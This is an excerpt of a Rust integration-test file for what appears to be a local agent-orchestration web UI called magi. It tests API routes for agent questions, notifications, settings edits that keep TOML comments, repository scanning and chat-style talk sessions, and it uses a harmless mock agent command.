9352 assert!(fx.questions().get(&id).unwrap().consult.is_some());
9353 let q = fx.questions().get(&id).unwrap();
9354 assert!(q.status.open());
9355 assert!(q.answer.is_none());
9356 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
9357 }
9358
9359 #[tokio::test]
9360 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
9361 let fx = Fixture::start().await;
9362 let store = fx.questions();
9363 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9364 assert_eq!(
9365 fx.get("/api/health").await.json()["questions_needs_owner"],
9366 1
9367 );
9368
9369 let res = fx
9375 .post(
9376 &format!("/api/questions/{id}/say"),
9377 Some(r#"{"body":"why not Postgres?"}"#),
9378 )
9379 .await;
9380 assert_eq!(res.status, 200, "{}", res.body);
9381 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9382 assert_eq!(
9383 fx.get("/api/health").await.json()["questions_needs_owner"],
9384 0,
9385 "waiting on the agent is not waiting on the owner"
9386 );
9387
9388 let mut q = store.get(&id).expect("get");
9392 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9393 .expect("reply");
9394 store.put(&mut q).expect("put");
9395 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9396 assert_eq!(
9397 fx.get("/api/health").await.json()["questions_needs_owner"],
9398 1,
9399 "the agent's reply is what should light the banner back up"
9400 );
9401 }
9402
9403 #[tokio::test]
9404 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9405 let fx = Fixture::start().await;
9406 let store = fx.questions();
9407
9408 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9409 let res = fx
9410 .post(
9411 &format!("/api/questions/{empty_id}/say"),
9412 Some(r#"{"body":" "}"#),
9413 )
9414 .await;
9415 assert_eq!(res.status, 400, "{}", res.body);
9416
9417 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9418 let mut answered = store.get(&answered_id).expect("get");
9419 answered
9420 .answer(Answer::Choice("SQLite".to_owned()))
9421 .expect("answer");
9422 store.put(&mut answered).expect("put");
9423 let res = fx
9424 .post(
9425 &format!("/api/questions/{answered_id}/say"),
9426 Some(r#"{"body":"still there?"}"#),
9427 )
9428 .await;
9429 assert_eq!(res.status, 409, "{}", res.body);
9430
9431 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9432 let mut abandoned = store.get(&abandoned_id).expect("get");
9433 abandoned.abandon("timed out");
9434 store.put(&mut abandoned).expect("put");
9435 let res = fx
9436 .post(
9437 &format!("/api/questions/{abandoned_id}/say"),
9438 Some(r#"{"body":"still there?"}"#),
9439 )
9440 .await;
9441 assert_eq!(res.status, 409, "{}", res.body);
9442 }
9443
9444 #[tokio::test]
9445 async fn an_answer_the_question_does_not_offer_is_refused() {
9446 let fx = Fixture::start().await;
9447 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9448 let path = format!("/api/questions/{id}/answer");
9449
9450 for body in [
9451 r#"{"choice":"Postgres"}"#,
9452 r#"{"text":"whatever you think"}"#,
9453 r#"{"choice":"Redis","text":"both"}"#,
9454 r#"{}"#,
9455 ] {
9456 let res = fx.post(&path, Some(body)).await;
9457 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
9458 assert!(res.json()["error"].is_string(), "{}", res.body);
9459 }
9460 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9462 }
9463
9464 #[tokio::test]
9465 async fn a_free_text_question_takes_text_and_not_a_choice() {
9466 let fx = Fixture::start().await;
9467 let id = ask(&fx, "What should the flag be called?", &[]);
9468 let path = format!("/api/questions/{id}/answer");
9469
9470 assert_eq!(
9471 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
9472 400
9473 );
9474 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
9475 assert_eq!(res.status, 200, "{}", res.body);
9476 assert_eq!(res.json()["answer"]["text"], "--json");
9477 }
9478
9479 #[tokio::test]
9480 async fn an_unknown_question_is_a_json_404() {
9481 let fx = Fixture::start().await;
9482 let res = fx
9483 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
9484 .await;
9485 assert_eq!(res.status, 404, "{}", res.body);
9486 assert!(res.json()["error"].is_string());
9487 }
9488
9489 #[tokio::test]
9490 async fn notifications_list_read_dismiss_and_health_agree() {
9491 let fx = Fixture::start().await;
9492 let store = Notices::at(fx.home.path().join("notifications"));
9493 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9494 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9495
9496 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9497 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9498
9499 let health = fx.get("/api/health").await.json();
9500 assert_eq!(health["notifications_unread"], 2);
9501 assert_ne!(
9502 health["notifications_rev"], rev0,
9503 "the badge must move live"
9504 );
9505
9506 let listed = fx.get("/api/notifications").await.json();
9507 assert_eq!(listed["unread"], 2);
9508 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9509 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9510
9511 let read = fx
9512 .post(&format!("/api/notifications/{}/read", a.id), None)
9513 .await;
9514 assert_eq!(read.status, 200, "{}", read.body);
9515 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9516
9517 let gone = fx
9518 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9519 .await;
9520 assert_eq!(gone.status, 200, "{}", gone.body);
9521 let listed = fx.get("/api/notifications").await.json();
9522 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9523 assert_eq!(listed["unread"], 0);
9524
9525 store.raise(Notice::info("x", "again")).unwrap();
9526 let all = fx.post("/api/notifications/read-all", None).await;
9527 assert_eq!(all.status, 200, "{}", all.body);
9528 assert_eq!(all.json()["marked"], 1);
9529 assert_eq!(
9530 fx.get("/api/health").await.json()["notifications_unread"],
9531 0
9532 );
9533
9534 let missing = fx.post("/api/notifications/nope/read", None).await;
9535 assert_eq!(missing.status, 404, "{}", missing.body);
9536 assert!(missing.json()["error"].is_string());
9537 }
9538
9539 #[tokio::test]
9546 async fn a_task_cannot_be_filed_over_the_phone_directly() {
9547 let f = Fixture::start().await;
9548
9549 let res = f
9550 .post(
9551 "/api/queue",
9552 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9553 )
9554 .await;
9555
9556 assert_eq!(
9557 res.status, 405,
9558 "POST /api/queue must not be a route: {}",
9559 res.body
9560 );
9561 assert!(
9562 f.queue().list().is_empty(),
9563 "a task filed by a route that does not exist must not reach the disk"
9564 );
9565 assert_eq!(f.get("/api/queue").await.status, 200);
9568 }
9569
9570 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9572 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9573 .expect("checkout dir");
9574 }
9575
9576 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9578
9579 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9580 let tmp = TempDir::new().expect("tempdir");
9581 let repo = tmp.path().join("repo");
9582 std::fs::create_dir_all(&repo).expect("repo dir");
9583 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9584 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9585 if let Some(text) = machine_toml {
9586 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9587 std::fs::write(&machine, text).expect("machine toml");
9588 }
9589 (tmp, repo, machine)
9590 }
9591
9592 async fn settings_checkout(path: &FsPath, text: &str) {
9593 std::fs::create_dir_all(path).unwrap();
9594 std::fs::write(path.join("magi.toml"), text).unwrap();
9595 for args in [
9596 vec!["init", "-b", "main"],
9597 vec!["add", "magi.toml"],
9598 vec![
9599 "-c",
9600 "user.name=Test",
9601 "-c",
9602 "user.email=test@example.invalid",
9603 "commit",
9604 "-m",
9605 "fixture",
9606 ],
9607 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
9608 vec![
9609 "symbolic-ref",
9610 "refs/remotes/origin/HEAD",
9611 "refs/remotes/origin/main",
9612 ],
9613 ] {
9614 crate::git::git(path, &args).await.unwrap();
9615 }
9616 }
9617
9618 #[tokio::test]
9619 async fn settings_context_handlers_validate_and_save_without_a_socket() {
9620 let (tmp, repo, machine) =
9621 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
9622 let root = tmp.path().join("roots");
9623 let selected = root.join("host/owner/selected");
9624 settings_checkout(
9625 &selected,
9626 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
9627 )
9628 .await;
9629 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
9630 let before = std::fs::read(&machine).unwrap();
9631 let ui = Arc::new(
9632 Ui::new(
9633 Queue::at(tmp.path().join("queue")),
9634 Questions::at(tmp.path().join("questions")),
9635 Talks::at(tmp.path().join("talks")),
9636 tmp.path().join("runs"),
9637 tmp.path().to_path_buf(),
9638 repo.clone(),
9639 )
9640 .with_machine_config(Some(machine.clone())),
9641 );
9642 let query = || {
9643 Query(SettingsQuery {
9644 repo: Some(selected.clone()),
9645 })
9646 };
9647 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
9648 assert!(v.error.is_none(), "{:?}", v.error);
9649 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
9650 assert_eq!(conductor.source, "repo");
9651 assert_eq!(
9652 conductor.machine_value,
9653 Some(toml::Value::String("a".into()))
9654 );
9655 assert!(!conductor.editable);
9656 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
9657 assert_eq!(
9658 judges.count.as_ref().unwrap().machine_value,
9659 Some(toml::Value::Integer(1))
9660 );
9661 assert!(
9662 !v.roles
9663 .iter()
9664 .find(|r| r.key == "reviewers")
9665 .unwrap()
9666 .editable
9667 );
9668 let unknown = || {
9669 Query(SettingsQuery {
9670 repo: Some(tmp.path().to_path_buf()),
9671 })
9672 };
9673 assert_eq!(
9674 settings_get(State(ui.clone()), unknown())
9675 .await
9676 .unwrap_err()
9677 .status,
9678 StatusCode::UNPROCESSABLE_ENTITY
9679 );
9680 let body = || {
9681 Ok(Json(RolesBody {
9682 revision: v.revision.clone(),
9683 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
9684 counts: Default::default(),
9685 }))
9686 };
9687 assert_eq!(
9688 settings_put_roles(State(ui.clone()), unknown(), body())
9689 .await
9690 .unwrap_err()
9691 .status,
9692 StatusCode::UNPROCESSABLE_ENTITY
9693 );
9694 assert_eq!(std::fs::read(&machine).unwrap(), before);
9695 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
9696 .await
9697 .unwrap();
9698 assert_eq!(
9699 saved.repo,
9700 selected.canonicalize().unwrap().display().to_string()
9701 );
9702 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9703 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9704 let fresh = root.join("host/owner/fresh");
9706 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
9707 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
9708 .await
9709 .unwrap();
9710 assert_eq!(fresh_view.repositories.len(), 3);
9711 }
9712
9713 #[tokio::test]
9714 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
9715 let (tmp, repo, machine) = settings_dirs(
9716 "[roles]\nreviewers = [\"a\"]\n",
9717 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
9718 );
9719 let root = tmp.path().join("roots");
9720 let selected = root.join("host/owner/selected");
9721 settings_checkout(
9722 &selected,
9723 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
9724 )
9725 .await;
9726 let broken = root.join("host/owner/broken");
9727 settings_checkout(&broken, "[roles\nbroken").await;
9728 let machine_text = format!(
9729 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
9730 toml::Value::String(root.display().to_string())
9731 );
9732 std::fs::write(&machine, &machine_text).unwrap();
9733 let originals: Vec<_> = [&repo, &selected, &broken]
9734 .iter()
9735 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
9736 .collect();
9737 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9738 let default = f.get("/api/settings").await.json();
9739 assert_eq!(
9740 default["repo"],
9741 repo.canonicalize().unwrap().display().to_string()
9742 );
9743 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
9744 let query = format!("?repo={}", selected.display());
9745 let res = f.get(&format!("/api/settings{query}")).await;
9746 assert_eq!(res.status, 200, "{}", res.body);
9747 let v = res.json();
9748 assert!(v["error"].is_null(), "{v}");
9749 assert_eq!(v["repositories"], default["repositories"]);
9750 let role = |key: &str| {
9751 v["roles"]
9752 .as_array()
9753 .unwrap()
9754 .iter()
9755 .find(|r| r["key"] == key)
9756 .unwrap()
9757 };
9758 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
9759 assert_eq!(role("advisors")["source"], "repo");
9760 assert_eq!(role("advisors")["editable"], false);
9761 assert!(role("advisors")["machine_value"].is_null());
9762 assert_eq!(role("judges")["count"]["value"], 2);
9763 assert_eq!(role("judges")["count"]["machine_value"], 1);
9764 assert_eq!(role("judges")["count"]["source"], "repo");
9765 let source = role("judges")["count"]["source_path"].as_str().unwrap();
9766 assert!(
9767 source.contains("origin/main") && !source.contains("magi/config/"),
9768 "{source}"
9769 );
9770 assert_eq!(
9771 role("reviewers")["editable"],
9772 false,
9773 "default context outside roots must protect its declarations"
9774 );
9775 let body =
9776 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
9777 let unknown = format!("?repo={}", tmp.path().display());
9778 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
9779 assert_eq!(
9780 f.put(&format!("/api/settings/roles{unknown}"), &body)
9781 .await
9782 .status,
9783 422
9784 );
9785 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
9786 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
9787 .to_string();
9788 assert_eq!(
9789 f.put(&format!("/api/settings/roles{query}"), &refuse)
9790 .await
9791 .status,
9792 422
9793 );
9794 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
9795 assert_eq!(saved.status, 200, "{}", saved.body);
9796 assert_eq!(saved.json()["repo"], v["repo"]);
9797 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9798 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9799 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
9800 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
9801 }
9802 let error = f
9803 .get(&format!("/api/settings?repo={}", broken.display()))
9804 .await;
9805 assert_eq!(error.status, 200);
9806 assert!(error.json()["error"]["message"].is_string());
9807 assert_eq!(error.json()["repositories"], default["repositories"]);
9808 }
9809
9810 #[tokio::test]
9811 async fn settings_get_reports_sources_and_the_advisors_fallback() {
9812 let (_tmp, repo, machine) =
9813 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
9814 let f = Fixture::with_repo_and_machine(repo, machine).await;
9815 let res = f.get("/api/settings").await;
9816 assert_eq!(res.status, 200, "{}", res.body);
9817 let v = res.json();
9818 assert!(v["error"].is_null(), "{v}");
9819 let role = |k: &str| {
9820 v["roles"]
9821 .as_array()
9822 .and_then(|r| r.iter().find(|x| x["key"] == k))
9823 .cloned()
9824 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9825 };
9826 assert_eq!(role("judges")["source"], "machine");
9827 assert_eq!(role("judges")["editable"], true);
9828 assert_eq!(role("implementers")["source"], "default");
9829 let adv = role("advisors");
9830 assert_eq!(adv["fallback"], "judges");
9831 assert!(
9832 adv["seats"]
9833 .as_array()
9834 .is_some_and(|s| s.iter().all(|x| x == "b")),
9835 "{adv}"
9836 );
9837 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
9838 assert_eq!(v["agents"][0]["source"], "repo");
9839 }
9840
9841 #[tokio::test]
9842 async fn settings_get_reports_a_config_that_does_not_parse() {
9843 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9844 let f = Fixture::with_repo_and_machine(repo, machine).await;
9845 let res = f.get("/api/settings").await;
9846 assert_eq!(res.status, 200, "{}", res.body);
9847 let v = res.json();
9848 assert!(v["error"]["message"].is_string(), "{v}");
9849 assert!(
9850 v["error"]["path"]
9851 .as_str()
9852 .is_some_and(|p| p.ends_with("magi.toml")),
9853 "{v}"
9854 );
9855 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9856 }
9857
9858 #[tokio::test]
9859 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9860 let (_tmp, repo, machine) = settings_dirs(
9861 SETTINGS_AGENTS,
9862 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
9863 );
9864 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9865 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9866 let rev = f.get("/api/settings").await.json()["revision"]
9867 .as_str()
9868 .expect("revision")
9869 .to_owned();
9870 let body = serde_json::json!({
9871 "revision": rev,
9872 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9873 })
9874 .to_string();
9875 let res = f.put("/api/settings/roles", &body).await;
9876 assert_eq!(res.status, 200, "{}", res.body);
9877 let text = std::fs::read_to_string(&machine).expect("machine");
9878 assert_eq!(
9879 text,
9880 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9881 );
9882 assert_eq!(
9883 std::fs::read(repo.join("magi.toml")).expect("read"),
9884 repo_before
9885 );
9886 let again = f.get("/api/settings").await.json();
9887 let judges = again["roles"]
9888 .as_array()
9889 .expect("roles")
9890 .iter()
9891 .find(|r| r["key"] == "judges")
9892 .expect("judges")
9893 .clone();
9894 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9895 let stale = f.put("/api/settings/roles", &body).await;
9897 assert_eq!(stale.status, 409, "{}", stale.body);
9898 }
9899
9900 #[tokio::test]
9901 async fn settings_counts_are_reported_and_saved() {
9902 let (_tmp, repo, machine) = settings_dirs(
9903 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9904 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9905 );
9906 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9907 let v = f.get("/api/settings").await.json();
9908 let count = |v: &serde_json::Value, k: &str| {
9909 v["roles"]
9910 .as_array()
9911 .and_then(|r| r.iter().find(|x| x["key"] == k))
9912 .map(|x| x["count"].clone())
9913 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9914 };
9915 let imp = count(&v, "implementers");
9916 assert_eq!(imp["value"], 2);
9917 assert_eq!(imp["source"], "machine");
9918 assert_eq!(imp["file_key"], "candidates");
9919 assert_eq!(imp["roster_len"], 2);
9920 assert_eq!(imp["backups"], 0);
9921 assert_eq!(count(&v, "judges")["source"], "default");
9922 assert_eq!(count(&v, "advisors")["min"], 0);
9923 assert_eq!(count(&v, "reviewers")["editable"], false);
9924 assert!(
9925 count(&v, "reviewers")["locked_reason"]
9926 .as_str()
9927 .is_some_and(|m| m.contains("graph.reviewers"))
9928 );
9929 assert!(count(&v, "fixer").is_null());
9930 let rev = v["revision"].as_str().expect("revision").to_owned();
9931 let body = serde_json::json!({
9932 "revision": rev,
9933 "roles": { "judges": ["b"] },
9934 "counts": { "implementers": 1, "advisors": 0 }
9935 })
9936 .to_string();
9937 let res = f.put("/api/settings/roles", &body).await;
9938 assert_eq!(res.status, 200, "{}", res.body);
9939 let text = std::fs::read_to_string(&machine).expect("machine");
9940 assert_eq!(
9941 text,
9942 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9943 );
9944 let after = f.get("/api/settings").await.json();
9945 assert_eq!(count(&after, "implementers")["value"], 1);
9946 assert_eq!(count(&after, "implementers")["backups"], 1);
9947 assert_eq!(count(&after, "advisors")["value"], 0);
9948 let before = std::fs::read_to_string(&machine).expect("machine");
9949 let rev = after["revision"].as_str().expect("revision").to_owned();
9950 for counts in [
9951 serde_json::json!({ "judges": 0 }),
9952 serde_json::json!({ "judges": "x" }),
9953 serde_json::json!({ "judges": 2.5 }),
9954 serde_json::json!({ "judges": -1 }),
9955 serde_json::json!({ "reviewers": 3 }),
9956 serde_json::json!({ "bogus": 3 }),
9957 ] {
9958 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9959 let res = f.put("/api/settings/roles", &body).await;
9960 assert_eq!(res.status, 422, "{counts}: {}", res.body);
9961 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9962 }
9963 }
9964
9965 #[tokio::test]
9966 async fn settings_put_refuses_without_touching_the_file() {
9967 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9968 let (_tmp, repo, machine) = settings_dirs(
9969 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9970 Some(machine_text),
9971 );
9972 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9973 let rev = f.get("/api/settings").await.json()["revision"]
9974 .as_str()
9975 .expect("revision")
9976 .to_owned();
9977 for roles in [
9978 serde_json::json!({ "judges": ["nope"] }),
9979 serde_json::json!({ "reviewers": ["b"] }),
9980 serde_json::json!({ "bogus": ["a"] }),
9981 ] {
9982 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9983 let res = f.put("/api/settings/roles", &body).await;
9984 assert_eq!(res.status, 422, "{roles}: {}", res.body);
9985 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9986 assert_eq!(
9987 std::fs::read_to_string(&machine).expect("machine"),
9988 machine_text
9989 );
9990 }
9991 }
9992
9993 #[tokio::test]
9994 async fn repos_list_returns_name_and_path_for_every_configured_root() {
9995 let tmp = TempDir::new().expect("tempdir");
9996 let repo = tmp.path().join("repo");
9997 std::fs::create_dir_all(&repo).expect("repo dir");
9998 let root = tmp.path().join("root");
9999 make_checkout(&root, "github.com", "yukimemi", "magi");
10000 std::fs::write(
10001 repo.join("magi.toml"),
10002 format!(
10003 "[repos]\nroots = [{:?}]\n",
10004 root.to_string_lossy().into_owned()
10005 ),
10006 )
10007 .expect("write magi.toml");
10008
10009 let f = Fixture::with_repo(repo).await;
10010 let res = f.get("/api/repos").await;
10011 assert_eq!(res.status, 200, "{}", res.body);
10012 let list = res.json();
10013 let repos = list.as_array().expect("an array");
10014 assert_eq!(repos.len(), 1);
10015 assert_eq!(repos[0]["name"], "yukimemi/magi");
10016 assert!(
10017 repos[0]["path"]
10018 .as_str()
10019 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10020 "{list}"
10021 );
10022 }
10023
10024 #[tokio::test]
10025 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10026 let tmp = TempDir::new().expect("tempdir");
10027 let repo = tmp.path().join("repo");
10028 std::fs::create_dir_all(&repo).expect("repo dir");
10029 let root = tmp.path().join("root");
10030 make_checkout(&root, "github.com", "yukimemi", "magi");
10031 std::fs::write(
10032 repo.join("magi.toml"),
10033 format!(
10034 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10035 root.to_string_lossy().into_owned()
10036 ),
10037 )
10038 .expect("write magi.toml");
10039
10040 let f = Fixture::with_repo(repo).await;
10041 let first = f.get("/api/repos").await;
10042 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10043
10044 make_checkout(&root, "github.com", "yukimemi", "rvpm");
10047 let second = f.get("/api/repos").await;
10048 assert_eq!(
10049 second.json().as_array().map(Vec::len),
10050 Some(1),
10051 "a fresh cache must not rescan inside the TTL"
10052 );
10053
10054 let refreshed = f.get("/api/repos?refresh=1").await;
10055 assert_eq!(
10056 refreshed.json().as_array().map(Vec::len),
10057 Some(2),
10058 "an explicit refresh must rescan even inside the TTL"
10059 );
10060 }
10061
10062 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10068
10069 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10073 let tmp = TempDir::new().expect("tempdir");
10074 let repo = tmp.path().join("repo");
10075 std::fs::create_dir_all(&repo).expect("repo dir");
10076 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10077 let f = Fixture::with_repo(repo.clone()).await;
10078 (tmp, repo, f)
10079 }
10080
10081 #[tokio::test]
10082 async fn posting_a_talk_with_remembered_choices_is_soft() {
10083 let (_tmp, _repo, f) = talk_fixture().await;
10084
10085 let good = f
10086 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10087 .await;
10088 assert_eq!(good.status, 201, "{}", good.body);
10089 assert_eq!(good.json()["persona"], "rei");
10090
10091 let stale = f
10093 .post(
10094 "/api/talks",
10095 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10096 )
10097 .await;
10098 assert_eq!(stale.status, 201, "{}", stale.body);
10099 let v = stale.json();
10100 assert_eq!(v["implementers"], 1);
10101 assert_ne!(v["persona"], "nobody");
10102 let typed = f
10103 .post(
10104 "/api/talks",
10105 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10106 )
10107 .await;
10108 assert_eq!(typed.status, 201, "{}", typed.body);
10109
10110 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10112 assert!(
10113 !strict.status.to_string().starts_with('2'),
10114 "{}",
10115 strict.body
10116 );
10117 }
10118
10119 #[tokio::test]
10120 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10121 let (_tmp, _repo, f) = talk_fixture().await;
10122
10123 let opened = f.post("/api/talks", None).await;
10126 assert_eq!(opened.status, 201, "{}", opened.body);
10127 let body = opened.json();
10128 assert_eq!(body["status"], "open");
10129 assert_eq!(
10130 body["turns"].as_array().unwrap().len(),
10131 0,
10132 "opening takes no agent turn: there is nothing yet to answer"
10133 );
10134
10135 let also_opened = f.post("/api/talks", Some("{}")).await;
10137 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10138
10139 let listed = f.get("/api/talks").await.json();
10140 assert_eq!(listed.as_array().unwrap().len(), 2);
10141 }
10142
10143 #[tokio::test]
10144 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10145 let tmp = TempDir::new().expect("tempdir");
10146 let repo = tmp.path().join("repo");
10147 std::fs::create_dir_all(&repo).expect("repo dir");
10148 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10149 std::fs::write(
10150 repo.join("magi.toml"),
10151 format!("{MOCK_AGENT_TOML}\n{second}"),
10152 )
10153 .expect("write magi.toml");
10154 let home = TempDir::new().expect("temp home");
10155 let talks = Talks::at(home.path().join("talks"));
10156 let ui = Arc::new(
10157 Ui::new(
10158 Queue::at(home.path().join("queue")),
10159 Questions::at(home.path().join("questions")),
10160 talks.clone(),
10161 home.path().join("runs"),
10162 home.path().to_path_buf(),
10163 repo.clone(),
10164 )
10165 .with_worktrees_root(home.path().join("wt")),
10166 );
10167 let cfg = config_for(&repo).await.expect("discover config");
10168 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10169 let id = talk.id.clone();
10170 let call = |agent: &str| {
10171 talk_agent(
10172 State(Arc::clone(&ui)),
10173 Path(id.clone()),
10174 Json(TalkAgent {
10175 agent: agent.to_owned(),
10176 }),
10177 )
10178 };
10179
10180 let unknown = call("nobody").await.expect_err("unknown agent");
10181 assert_eq!(
10182 unknown.status,
10183 StatusCode::BAD_REQUEST,
10184 "{}",
10185 unknown.message
10186 );
10187
10188 {
10189 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10192 let busy = call("second").await.expect_err("busy talk");
10193 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10194 assert!(
10195 busy.message.contains("a talk turn is running"),
10196 "{}",
10197 busy.message
10198 );
10199 drop(guard);
10200 }
10201 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10202
10203 let Json(view) = call("second").await.expect("switch");
10204 assert_eq!(view.talk.agent, "second");
10205 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10206 let saved = talks.get(&id).expect("reload");
10207 assert_eq!(saved.agent, "second");
10208 assert_eq!(saved.turns.len(), 1);
10209 assert!(!view.thinking);
10210 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10211 for agent in ["mock", "second"] {
10212 let Json(view) = call(agent).await.expect("immediate consecutive change");
10213 assert_eq!(view.talk.agent, agent);
10214 assert!(!view.thinking);
10215 assert!(!ui.is_thinking(&id));
10216 }
10217
10218 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10219 .await
10220 .expect("detail");
10221 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10222 assert_eq!(roster, ["mock", "second"]);
10223
10224 let mut closed = talks.get(&id).expect("reload");
10225 talk::close(&mut closed, &talks).expect("close");
10226 let refused = call("mock").await.expect_err("closed talk");
10227 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10228 assert!(
